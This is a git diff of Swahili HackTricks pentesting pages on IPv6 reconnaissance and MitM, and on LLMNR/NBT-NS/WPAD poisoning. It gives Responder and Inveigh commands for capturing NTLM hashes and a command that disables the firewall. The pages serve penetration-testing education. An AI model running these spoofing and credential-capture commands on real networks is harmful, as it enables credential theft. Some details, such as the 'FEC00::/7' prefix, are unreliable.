Pia unahitaji kupakua pakiti za hifadhidata na kuziweka kwenye /usr/share/nmap/scripts/vulscan/
|
||||
Pia ni lazima kupakua pakiti za hifadhidata na kuziweka kwenye /usr/share/nmap/scripts/vulscan/
|
||||
|
||||
Matumizi:
|
||||
|
||||
|
|
@ -271,16 +272,17 @@ Ikiwa hutaki kubadilisha thamani za **`totalwaitms`** na **`tcpwrappedms`** kabi
|
|||
|
||||
{% embed url="https://websec.nl/" %}
|
||||
|
||||
{% hint style="success" %}
|
||||
Jifunze & zoezi la Udukuzi wa AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**Mafunzo ya HackTricks AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Jifunze & zoezi la Udukuzi wa GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**Mafunzo ya HackTricks GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Jifunze kuhusu kudukua AWS kutoka mwanzo hadi kuwa shujaa na</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary>Support HackTricks</summary>
|
||||
|
||||
Njia nyingine za kusaidia HackTricks:
|
||||
|
||||
* Ikiwa unataka kuona **kampuni yako ikitangazwa kwenye HackTricks** au **kupakua HackTricks kwa PDF** Angalia [**MIPANGO YA KUJIUNGA**](https://github.com/sponsors/carlospolop)!
|
||||
* Pata [**bidhaa rasmi za PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Gundua [**Familia ya PEASS**](https://opensea.io/collection/the-peass-family), mkusanyiko wetu wa [**NFTs**](https://opensea.io/collection/the-peass-family) ya kipekee
|
||||
* **Jiunge na** 💬 [**Kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au kikundi cha [**telegram**](https://t.me/peass) au **tufuate** kwenye **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Shiriki mbinu zako za kudukua kwa kuwasilisha PRs kwa** [**HackTricks**](https://github.com/carlospolop/hacktricks) na [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos za github.
|
||||
* Angalia [**mpango wa usajili**](https://github.com/sponsors/carlospolop)!
|
||||
* **Jiunge na** 💬 [**Kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au kikundi cha [**telegram**](https://t.me/peass) au **tufuate** kwenye **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Shiriki mbinu za udukuzi kwa kuwasilisha PRs kwa** [**HackTricks**](https://github.com/carlospolop/hacktricks) na [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
|||
|
|
@ -1,42 +1,43 @@
|
|||
{% hint style="success" %}
|
||||
Jifunze na zoezi la Kuvamia AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**Mafunzo ya HackTricks ya Mtaalam wa Timu Nyekundu ya AWS (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Jifunze na zoezi la Kuvamia GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**Mafunzo ya HackTricks ya Mtaalam wa Timu Nyekundu ya GCP (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Jifunze kuhusu kudukua AWS kutoka sifuri hadi shujaa na</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Mtaalam wa Timu Nyekundu ya AWS ya HackTricks)</strong></a><strong>!</strong></summary>
|
||||
<summary>Support HackTricks</summary>
|
||||
|
||||
Njia nyingine za kusaidia HackTricks:
|
||||
|
||||
* Ikiwa unataka kuona **kampuni yako ikionekana kwenye HackTricks** au **kupakua HackTricks kwa muundo wa PDF** Angalia [**MPANGO WA KUJIUNGA**](https://github.com/sponsors/carlospolop)!
|
||||
* Pata [**swag rasmi ya PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Gundua [**Familia ya PEASS**](https://opensea.io/collection/the-peass-family), mkusanyiko wetu wa [**NFTs**](https://opensea.io/collection/the-peass-family) ya kipekee
|
||||
* **Jiunge na** 💬 [**Kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au [**kikundi cha telegram**](https://t.me/peass) au **tufuate** kwenye **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Shiriki mbinu zako za kudukua kwa kuwasilisha PRs kwenye** [**HackTricks**](https://github.com/carlospolop/hacktricks) na [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos za github.
|
||||
* Angalia [**mpango wa michango**](https://github.com/sponsors/carlospolop)!
|
||||
* **Jiunge na** 💬 [**Kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au [**kikundi cha telegram**](https://t.me/peass) au **tufuate** kwenye **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Shiriki mbinu za udukuzi kwa kuwasilisha PRs kwa** [**HackTricks**](https://github.com/carlospolop/hacktricks) na [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos za github.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
|
||||
# Nadharia Msingi ya IPv6
|
||||
|
||||
## Mitandao
|
||||
|
||||
Anwani za IPv6 zimepangwa kuboresha utaratibu wa mtandao na mwingiliano wa vifaa. Anwani ya IPv6 imegawanywa katika sehemu zifuatazo:
|
||||
Anwani za IPv6 zimepangwa kuboresha shirika la mtandao na mwingiliano wa vifaa. Anwani ya IPv6 imegawanywa katika sehemu zifuatazo:
|
||||
|
||||
1. **Kiwango cha Mtandao**: Biti za kwanza 48, zinazotambua sehemu ya mtandao.
|
||||
2. **Kitambulisho cha Subnet**: Biti 16 zinazofuata, hutumiwa kwa kufafanua mitandao midogo maalum ndani ya mtandao.
|
||||
3. **Kitambulisho cha Kifaa**: Biti za mwisho 64, zinazotambua kifaa kwa kipekee ndani ya mitandao midogo.
|
||||
1. **Kiambatisho cha Mtandao**: Biti za kwanza 48, zinazoamua sehemu ya mtandao.
|
||||
2. **Kitambulisho cha Subnet**: Biti 16 zinazofuata, hutumika kwa kufafanua mitandao maalum ndani ya mtandao.
|
||||
3. **Kitambulisho cha Kifaa**: Biti 64 za mwisho, zinazotambulisha kifaa kwa kipekee ndani ya subnet.
|
||||
|
||||
Wakati IPv6 hauna itifaki ya ARP iliyopatikana katika IPv4, inaleta **ICMPv6** na ujumbe mkuu wa:
|
||||
- **Utafutaji wa Jirani (NS)**: Ujumbe wa multicast kwa azimio la anwani.
|
||||
Wakati IPv6 inapuuza itifaki ya ARP iliyo katika IPv4, inaleta **ICMPv6** na ujumbe mkuu wa:
|
||||
- **Udhibitishaji wa Jirani (NS)**: Ujumbe wa kutangaza anwani kwa njia ya multicast.
|
||||
- **Matangazo ya Jirani (NA)**: Majibu ya unicast kwa NS au tangazo la kushtukiza.
|
||||
|
||||
IPv6 pia inajumuisha aina maalum za anwani:
|
||||
- **Anwani ya Loopback (`::1`)**: Sawia na `127.0.0.1` ya IPv4, kwa mawasiliano ya ndani ndani ya mwenyeji.
|
||||
- **Anwani za Link-Local (`FE80::/10`)**: Kwa shughuli za mtandao wa ndani, sio kwa ujumbe wa mtandao. Vifaa kwenye mtandao wa ndani wanaweza kugundua wenyewe kwa kutumia safu hii.
|
||||
- **Anwani za Link-Local (`FE80::/10`)**: Kwa shughuli za mtandao wa ndani, sio kwa mwelekeo wa mtandao. Vifaa kwenye mtandao wa ndani wanaweza kugundua wenyewe kutumia safu hii.
|
||||
|
||||
### Matumizi ya Vitendo ya IPv6 katika Amri za Mtandao
|
||||
|
||||
Kuongeza mwingiliano na mitandao ya IPv6, unaweza kutumia amri mbalimbali:
|
||||
Kuongeza na mitandao ya IPv6, unaweza kutumia amri mbalimbali:
|
||||
- **Ping Anwani za Link-Local**: Angalia uwepo wa vifaa vya ndani kwa kutumia `ping6`.
|
||||
- **Ugunduzi wa Jirani**: Tumia `ip neigh` kuona vifaa vilivyogunduliwa kwenye safu ya kiungo.
|
||||
- **alive6**: Zana mbadala ya kugundua vifaa kwenye mtandao huo.
|
||||
- **alive6**: Zana mbadala kwa kugundua vifaa kwenye mtandao huo.
|
||||
|
||||
Hapa chini kuna mifano ya amri:
|
||||
```bash
|
||||
|
|
@ -46,83 +47,68 @@ ip neigh | grep ^fe80
|
|||
# Alternatively, use alive6 for neighbor discovery
|
||||
alive6 eth0
|
||||
```
|
||||
Anwani za IPv6 zinaweza kupatikana kutoka kwa anwani ya MAC ya kifaa kwa mawasiliano ya ndani. Hapa kuna mwongozo rahisi juu ya jinsi ya kupata anwani ya Link-local IPv6 kutoka kwa anwani ya MAC iliyojulikana, na muhtasari mfupi wa aina za anwani za IPv6 na njia za kugundua anwani za IPv6 ndani ya mtandao.
|
||||
IPv6 anwani zinaweza kutokana na anwani ya MAC ya kifaa kwa mawasiliano ya ndani. Hapa kuna mwongozo rahisi kuhusu jinsi ya kupata anwani ya IPv6 ya Link-local kutoka kwa anwani ya MAC inayojulikana, na muhtasari mfupi wa aina za anwani za IPv6 na njia za kugundua anwani za IPv6 ndani ya mtandao.
|
||||
|
||||
## **Kupata Anwani ya Link-local IPv6 kutoka kwa Anwani ya MAC**
|
||||
|
||||
Ukipewa anwani ya MAC **`12:34:56:78:9a:bc`**, unaweza kujenga anwani ya Link-local IPv6 kama ifuatavyo:
|
||||
Ukipewa anwani ya MAC **`12:34:56:78:9a:bc`**, unaweza kujenga anwani ya IPv6 ya Link-local kama ifuatavyo:
|
||||
|
||||
1. Geuza MAC kuwa muundo wa IPv6: **`1234:5678:9abc`**
|
||||
2. Ongeza `fe80::` na ingiza `fffe` katikati: **`fe80::1234:56ff:fe78:9abc`**
|
||||
2. Weka `fe80::` mbele na ingiza `fffe` katikati: **`fe80::1234:56ff:fe78:9abc`**
|
||||
3. Badilisha biti ya saba kutoka kushoto, ikibadilisha `1234` kuwa `1034`: **`fe80::1034:56ff:fe78:9abc`**
|
||||
|
||||
## **Aina za Anwani za IPv6**
|
||||
|
||||
- **Anwani ya Kipekee ya Ndani (ULA)**: Kwa mawasiliano ya ndani, sio kwa ajili ya ujumbe wa mtandao wa umma. Kiambishi: **`FEC00::/7`**
|
||||
- **Anwani ya Multicast**: Kwa mawasiliano ya moja kwa wengi. Inatumwa kwa viunganishi vyote katika kikundi cha multicast. Kiambishi: **`FF00::/8`**
|
||||
- **Anwani ya Anycast**: Kwa mawasiliano ya moja kwa karibu. Inatumwa kwa kiunganishi kilicho karibu kulingana na itifaki ya ujumbe. Sehemu ya safu ya unicast ya ulimwengu ya **`2000::/3`**.
|
||||
- **Anwani ya Kipekee ya Ndani (ULA)**: Kwa mawasiliano ya ndani, sio kwa mwelekeo wa mtandao wa umma. Kiambishi: **`FEC00::/7`**
|
||||
- **Anwani ya Multicast**: Kwa mawasiliano ya moja kwa wengi. Hutumwa kwa viunganishi vyote katika kikundi cha multicast. Kiambishi: **`FF00::/8`**
|
||||
- **Anwani ya Anycast**: Kwa mawasiliano ya moja kwa karibu. Hutumwa kwa kiunganishi kilicho karibu kulingana na itifaki ya uelekezaji. Sehemu ya safu ya unicast ya ulimwengu wa **`2000::/3`**.
|
||||
|
||||
## **Vidokezo vya Anwani**
|
||||
## **Vipande vya Anwani**
|
||||
- **fe80::/10**: Anwani za Link-Local (kama 169.254.x.x)
|
||||
- **fc00::/7**: Unique Local-Unicast (kama safu za IPv4 za kibinafsi kama 10.x.x.x, 172.16.x.x, 192.168.x.x)
|
||||
- **2000::/3**: Unicast ya Ulimwengu
|
||||
- **ff02::1**: Multicast Wote wa Viunganishi
|
||||
- **ff02::2**: Multicast Viunganishi vya Router
|
||||
- **fc00::/7**: Kipekee Local-Unicast (kama safu za IPv4 za kibinafsi kama 10.x.x.x, 172.16.x.x, 192.168.x.x)
|
||||
- **2000::/3**: Unicast wa Ulimwengu
|
||||
- **ff02::1**: Multicast Kila Node
|
||||
- **ff02::2**: Multicast Router Nodes
|
||||
|
||||
## **Kugundua Anwani za IPv6 ndani ya Mtandao**
|
||||
|
||||
### Njia 1: Kutumia Anwani za Link-local
|
||||
1. Pata anwani ya MAC ya kifaa ndani ya mtandao.
|
||||
2. Pata anwani ya Link-local IPv6 kutoka kwa anwani ya MAC.
|
||||
2. Pata anwani ya IPv6 ya Link-local kutoka kwa anwani ya MAC.
|
||||
|
||||
### Njia 2: Kutumia Multicast
|
||||
1. Tuma ping kwa anwani ya multicast `ff02::1` ili kugundua anwani za IPv6 kwenye mtandao wa ndani.
|
||||
1. Tuma ping kwa anwani ya multicast `ff02::1` kugundua anwani za IPv6 kwenye mtandao wa ndani.
|
||||
```bash
|
||||
service ufw stop # Stop the firewall
|
||||
ping6 -I <IFACE> ff02::1 # Send a ping to multicast address
|
||||
ip -6 neigh # Display the neighbor table
|
||||
```
|
||||
## Mbinu za Kudukua (MitM) za IPv6
|
||||
Kuna mbinu kadhaa za kutekeleza mashambulizi ya MitM katika mitandao ya IPv6, kama vile:
|
||||
## Mashambulizi ya Kati-kati (MitM) kwenye IPv6
|
||||
Kuna njia kadhaa za kutekeleza mashambulizi ya MitM kwenye mitandao ya IPv6, kama vile:
|
||||
|
||||
- Kudanganya matangazo ya jirani au router ya ICMPv6.
|
||||
- Kutumia ujumbe wa ICMPv6 redirect au "Packet Too Big" kudhibiti ujumuishaji.
|
||||
- Kushambulia mobile IPv6 (kawaida inahitaji IPSec kuwa imezimwa).
|
||||
- Kuweka seva ya DHCPv6 ya udanganyifu.
|
||||
- Kughushi matangazo ya majirani au rutba za ICMPv6.
|
||||
- Kutumia ujumbe wa ICMPv6 wa kurekebisha au "Pakiti Kubwa Sana" kudanganya uundaji wa njia.
|
||||
- Kuvamia IPv6 ya simu (kawaida inahitaji IPSec iwe imelemazwa).
|
||||
- Kuweka seva bandia ya DHCPv6.
|
||||
|
||||
|
||||
# Kutambua Anwani za IPv6 katika Ulimwengu
|
||||
# Kutambua Anwani za IPv6 kwenye Uwanja
|
||||
|
||||
## Kuchunguza Subdomains
|
||||
Njia ya kupata subdomains ambazo zinaweza kuwa zimeunganishwa na anwani za IPv6 ni kwa kutumia injini za utafutaji. Kwa mfano, kutumia muundo wa utafutaji kama `ipv6.*` inaweza kuwa na ufanisi. Kwa kuzingatia hilo, amri ya utafutaji ifuatayo inaweza kutumika katika Google:
|
||||
Njia ya kupata subdomains ambazo huenda zinaunganishwa na anwani za IPv6 ni kwa kutumia injini za utaftaji. Kwa mfano, kutumia mfano wa utaftaji kama `ipv6.*` inaweza kuwa na ufanisi. Kwa kipekee, amri ya utaftaji ifuatayo inaweza kutumika kwenye Google:
|
||||
```bash
|
||||
site:ipv6./
|
||||
```
|
||||
## Kutumia Utafutaji wa DNS
|
||||
## Kutumia Uchunguzi wa DNS
|
||||
Kutambua anwani za IPv6, aina fulani za rekodi za DNS zinaweza kuulizwa:
|
||||
- **AXFR**: Inaomba uhamisho kamili wa eneo, ikifunua rekodi za DNS anuwai.
|
||||
- **AAAA**: Inatafuta moja kwa moja anwani za IPv6.
|
||||
- **ANY**: Utafutaji mpana unaorudisha rekodi zote za DNS zilizopo.
|
||||
- **AXFR**: Inaomba uhamisho kamili wa eneo, ikifunua anwani nyingi za rekodi za DNS.
|
||||
- **AAAA**: Moja kwa moja inatafuta anwani za IPv6.
|
||||
- **ANY**: Utafutaji mpana unaorudisha rekodi zote zilizopo za DNS.
|
||||
|
||||
## Kuchunguza kwa Kutumia Ping6
|
||||
Baada ya kubaini anwani za IPv6 zinazohusiana na shirika, zana ya `ping6` inaweza kutumika kwa uchunguzi. Zana hii inasaidia katika kutathmini majibu ya anwani za IPv6 zilizobainishwa, na inaweza pia kusaidia katika kugundua vifaa vya IPv6 vinavyopatikana.
|
||||
Baada ya kubaini anwani za IPv6 zinazohusiana na shirika, zana ya `ping6` inaweza kutumika kwa uchunguzi. Zana hii husaidia katika kutathmini jinsi anwani za IPv6 zilizobainishwa zinavyojibu, na pia inaweza kusaidia katika kugundua vifaa vya IPv6 vilivyo karibu.
|
||||
|
||||
## Marejeo
|
||||
|
||||
* [http://www.firewall.cx/networking-topics/protocols/877-ipv6-subnetting-how-to-subnet-ipv6.html](http://www.firewall.cx/networking-topics/protocols/877-ipv6-subnetting-how-to-subnet-ipv6.html)
|
||||
* [https://www.sans.org/reading-room/whitepapers/detection/complete-guide-ipv6-attack-defense-33904](https://www.sans.org/reading-room/whitepapers/detection/complete-guide-ipv6-attack-defense-33904)
|
||||
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Jifunze kuhusu kudukua AWS kutoka sifuri hadi shujaa na</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Njia nyingine za kusaidia HackTricks:
|
||||
|
||||
* Ikiwa unataka kuona **kampuni yako inatangazwa kwenye HackTricks** au **kupakua HackTricks kwa muundo wa PDF** Angalia [**MPANGO WA KUJIUNGA**](https://github.com/sponsors/carlospolop)!
|
||||
* Pata [**swag rasmi wa PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Gundua [**The PEASS Family**](https://opensea.io/collection/the-peass-family), mkusanyiko wetu wa [**NFTs**](https://opensea.io/collection/the-peass-family) za kipekee
|
||||
* **Jiunge na** 💬 [**Kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au [**kikundi cha telegram**](https://t.me/peass) au **tufuate** kwenye **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Shiriki mbinu zako za kudukua kwa kuwasilisha PR kwa** [**HackTricks**](https://github.com/carlospolop/hacktricks) na [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
|
|
|
|||
|
|
@ -1,64 +1,65 @@
|
|||
# Kudanganya LLMNR, NBT-NS, mDNS/DNS na WPAD na Mashambulizi ya Kusambaza
|
||||
# Kudanganya LLMNR, NBT-NS, mDNS/DNS na WPAD na Mashambulizi ya Kurelayi
|
||||
|
||||
{% hint style="success" %}
|
||||
Jifunze & zoezi la AWS Kudukua:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**Mafunzo ya HackTricks AWS Timu Nyekundu Mtaalam (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Jifunze & zoezi la GCP Kudukua: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**Mafunzo ya HackTricks GCP Timu Nyekundu Mtaalam (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Jifunze kuhusu kudukua AWS kutoka sifuri hadi shujaa na</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary>Support HackTricks</summary>
|
||||
|
||||
Njia nyingine za kusaidia HackTricks:
|
||||
|
||||
* Ikiwa unataka kuona **kampuni yako ikionekana kwenye HackTricks** au **kupakua HackTricks kwa muundo wa PDF** Angalia [**MPANGO WA KUJIUNGA**](https://github.com/sponsors/carlospolop)!
|
||||
* Pata [**swag rasmi ya PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Gundua [**The PEASS Family**](https://opensea.io/collection/the-peass-family), mkusanyiko wetu wa [**NFTs**](https://opensea.io/collection/the-peass-family) ya kipekee
|
||||
* **Jiunge na** 💬 [**Kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au [**kikundi cha telegram**](https://t.me/peass) au **tufuate** kwenye **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Shiriki mbinu zako za kudukua kwa kuwasilisha PR kwa** [**HackTricks**](https://github.com/carlospolop/hacktricks) na [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos za github.
|
||||
* Angalia [**mpango wa michango**](https://github.com/sponsors/carlospolop)!
|
||||
* **Jiunge na** 💬 [**Kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au kikundi cha [**telegram**](https://t.me/peass) au **tufuate** kwenye **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Shiriki mbinu za kudukua kwa kuwasilisha PRs kwa** [**HackTricks**](https://github.com/carlospolop/hacktricks) na [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
## Itifaki za Mtandao
|
||||
|
||||
### Itifaki za Azimio la Mwenyeji wa Ndani
|
||||
### Itifaki za Azimio la Mwenyeji wa Mitaani
|
||||
- **LLMNR, NBT-NS, na mDNS**:
|
||||
- Microsoft na mifumo mingine ya uendeshaji hutumia LLMNR na NBT-NS kwa azimio la majina ya ndani wakati DNS inashindwa. Vivyo hivyo, mifumo ya Apple na Linux hutumia mDNS.
|
||||
- Itifaki hizi zinaweza kudukuliwa na kudanganywa kutokana na asili yao ya kutokuwa na uthibitisho, utangazaji kupitia UDP.
|
||||
- [Responder](https://github.com/lgandx/Responder) inaweza kutumika kuiga huduma kwa kutuma majibu bandia kwa watumiaji wanaouliza itifaki hizi.
|
||||
- Maelezo zaidi juu ya kuiga huduma kwa kutumia Responder yanaweza kupatikana [hapa](spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md).
|
||||
- Microsoft na mifumo mingine hutumia LLMNR na NBT-NS kwa azimio la majina ya mitaa wakati DNS inashindwa. Vivyo hivyo, mifumo ya Apple na Linux hutumia mDNS.
|
||||
- Itifaki hizi zinaweza kudukuliwa na kudanganywa kutokana na asili yao ya kutangazwa bila uthibitisho kupitia UDP.
|
||||
- [Responder](https://github.com/lgandx/Responder) inaweza kutumika kujifanya kuwa huduma kwa kutuma majibu bandia kwa mifumo inayouliza itifaki hizi.
|
||||
- Taarifa zaidi kuhusu kujifanya kuwa huduma kwa kutumia Responder inaweza kupatikana [hapa](spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md).
|
||||
|
||||
### Itifaki ya Ugunduzi wa Kiotomatiki wa Wavuti (WPAD)
|
||||
- WPAD inaruhusu vivinjari kugundua mipangilio ya wakala kiotomatiki.
|
||||
- WPAD inaruhusu vivinjari kugundua mipangilio ya proksi kiotomatiki.
|
||||
- Ugunduzi unafanikishwa kupitia DHCP, DNS, au kurudi kwa LLMNR na NBT-NS ikiwa DNS inashindwa.
|
||||
- Responder inaweza kufanya mashambulizi ya WPAD kiotomatiki, kuongoza wateja kwenye seva za WPAD zenye nia mbaya.
|
||||
- Responder inaweza kusaidia mashambulizi ya WPAD, kuongoza wateja kwenye seva za WPAD zenye nia mbaya.
|
||||
|
||||
### Responder kwa Sumu ya Itifaki
|
||||
- **Responder** ni zana inayotumiwa kwa kudanganya LLMNR, NBT-NS, na mDNS, majaribio ya kujibu kwa kuzingatia aina za maswali, hasa kulenga huduma za SMB.
|
||||
- Inakuja tayari imewekwa kwenye Kali Linux, inaweza kusanidiwa kwenye `/etc/responder/Responder.conf`.
|
||||
- Responder inaonyesha hash zilizochukuliwa kwenye skrini na kuziokoa kwenye saraka ya `/usr/share/responder/logs`.
|
||||
- **Responder** ni chombo kinachotumika kwa sumu ya maswali ya LLMNR, NBT-NS, na mDNS, kujibu kwa hiari kulingana na aina za maswali, kwa kuzingatia huduma za SMB kwa kiasi kikubwa.
|
||||
- Kinakuja kikiwa kimewekwa tayari kwenye Kali Linux, kinaweza kubadilishwa kwa `/etc/responder/Responder.conf`.
|
||||
- Responder inaonyesha vibonyezo vilivyochukuliwa kwenye skrini na kuvihifadhi kwenye saraka ya `/usr/share/responder/logs`.
|
||||
- Inasaidia IPv4 na IPv6.
|
||||
- Toleo la Windows la Responder linapatikana [hapa](https://github.com/lgandx/Responder-Windows).
|
||||
|
||||
#### Kuendesha Responder
|
||||
- Kuanza Responder na mipangilio ya msingi: `responder -I <Interface>`
|
||||
- Kwa uchunguzi wenye nguvu zaidi (na athari za upande): `responder -I <Interface> -P -r -v`
|
||||
- Mbinu za kukamata changamoto/majibu ya NTLMv1 kwa kufanya uchakataji rahisi: `responder -I <Interface> --lm --disable-ess`
|
||||
- Udanganyifu wa WPAD unaweza kuamilishwa na: `responder -I <Interface> --wpad`
|
||||
- Maombi ya NetBIOS yanaweza kutatuliwa kwa anwani ya IP ya mshambuliaji, na wakala wa uwakiki unaweza kuwekwa: `responder.py -I <interface> -Pv`
|
||||
- Kuanzisha Responder na mipangilio ya msingi: `responder -I <Interface>`
|
||||
- Kwa uchunguzi wenye msukumo zaidi (ukiwa na athari za upande): `responder -I <Interface> -P -r -v`
|
||||
- Mbinu za kukamata changamoto/majibu ya NTLMv1 kwa urahisi zaidi: `responder -I <Interface> --lm --disable-ess`
|
||||
- Udanganyifu wa WPAD unaweza kuamilishwa kwa: `responder -I <Interface> --wpad`
|
||||
- Maombi ya NetBIOS yanaweza kutatuliwa kwa anwani ya IP ya mshambuliaji, na proksi ya uthibitishaji inaweza kuwekwa: `responder.py -I <interface> -Pv`
|
||||
|
||||
### Sumu ya DHCP na Responder
|
||||
- Kudanganya majibu ya DHCP kunaweza kudhuru habari za mwelekeo wa muathirika kwa kudumu, kutoa mbadala wa siri kwa sumu ya ARP.
|
||||
- Inahitaji ufahamu sahihi wa usanidi wa mtandao wa lengo.
|
||||
- Kudanganya majibu ya DHCP kunaweza kudhuru kudumu maelekezo ya mwendeshaji wa mwathiriwa, kutoa mbadala wa kimya kwa sumu ya ARP.
|
||||
- Inahitaji maarifa sahihi ya usanidi wa mtandao wa lengo.
|
||||
- Kuendesha shambulio: `./Responder.py -I eth0 -Pdv`
|
||||
- Njia hii inaweza kukamata hash za NTLMv1/2 kwa ufanisi, lakini inahitaji kushughulikia kwa uangalifu ili kuepuka kuvuruga mtandao.
|
||||
- Mbinu hii inaweza kukamata vibonyezo vya NTLMv1/2 kwa ufanisi, lakini inahitaji kushughulikiwa kwa uangalifu ili kuepuka kuvuruga mtandao.
|
||||
|
||||
### Kukamata Vitambulisho kwa Kutumia Responder
|
||||
- Responder itajifanya kuwa huduma kwa kutumia itifaki zilizotajwa hapo juu, kukamata vitambulisho (kawaida NTLMv2 Challenge/Response) wakati mtumiaji anajaribu kuthibitisha utambulisho dhidi ya huduma zilizodanganywa.
|
||||
- Jaribio linaweza kufanywa kushusha hadhi hadi NetNTLMv1 au kulemaza ESS ili kufanya uchakataji wa vitambulisho kuwa rahisi.
|
||||
### Kukamata Vibonyezo na Responder
|
||||
- Responder itajifanya kuwa huduma kwa kutumia itifaki zilizotajwa hapo juu, kukamata vibonyezo (kawaida NTLMv2 Challenge/Response) wakati mtumiaji anajaribu kuthibitisha dhidi ya huduma zilizodanganywa.
|
||||
- Jaribio linaweza kufanywa la kudhoofisha hadi NetNTLMv1 au kulemaza ESS kwa urahisi zaidi wa kuvunja vibonyezo.
|
||||
|
||||
Ni muhimu kuzingatia kuwa kutumia mbinu hizi lazima ifanyike kwa njia halali na kimaadili, kuhakikisha idhini sahihi na kuepuka kuvuruga au kupata ufikiaji usioidhinishwa.
|
||||
Ni muhimu kuzingatia kwamba kutumia mbinu hizi inapaswa kufanywa kihalali na kimaadili, kuhakikisha idhini sahihi na kuepuka kuvuruga au kupata ufikiaji usioruhusiwa.
|
||||
|
||||
## Inveigh
|
||||
|
||||
Inveigh ni zana kwa wataalamu wa uchunguzi wa kuingilia na timu nyekundu, iliyoundwa kwa mifumo ya Windows. Inatoa utendaji kama Responder, kufanya mashambulizi ya kudanganya na kati ya mtu. Zana hii imebadilika kutoka kwa script ya PowerShell hadi faili ya C#, na [**Inveigh**](https://github.com/Kevin-Robertson/Inveigh) na [**InveighZero**](https://github.com/Kevin-Robertson/InveighZero) kama toleo kuu. Maelezo ya kina ya vigezo na maelekezo yanaweza kupatikana kwenye [**wiki**](https://github.com/Kevin-Robertson/Inveigh/wiki/Parameters).
|
||||
Inveigh ni chombo kwa wataalamu wa upenyezi na timu nyekundu, kilichoundwa kwa mifumo ya Windows. Kinatoa utendaji kama wa Responder, kutekeleza kudanganya na mashambulizi ya kati. Chombo hicho kimebadilika kutoka kwa script ya PowerShell hadi binary ya C#, na [**Inveigh**](https://github.com/Kevin-Robertson/Inveigh) na [**InveighZero**](https://github.com/Kevin-Robertson/InveighZero) kama toleo kuu. Maelezo ya kina ya vigezo na maagizo yanaweza kupatikana kwenye [**wiki**](https://github.com/Kevin-Robertson/Inveigh/wiki/Parameters).
|
||||
|
||||
Inveigh inaweza kutumiwa kupitia PowerShell:
|
||||
Inveigh inaweza kutumika kupitia PowerShell:
|
||||
```powershell
|
||||
Invoke-Inveigh -NBNS Y -ConsoleOutput Y -FileOutput Y
|
||||
```
|
||||
|
|
@ -66,15 +67,15 @@ Au kutekelezwa kama faili ya C#:
|
|||
```bash
|
||||
Inveigh.exe
|
||||
```
|
||||
### Shambulizi la NTLM Relay
|
||||
### Shambulizi la Kurejesha NTLM
|
||||
|
||||
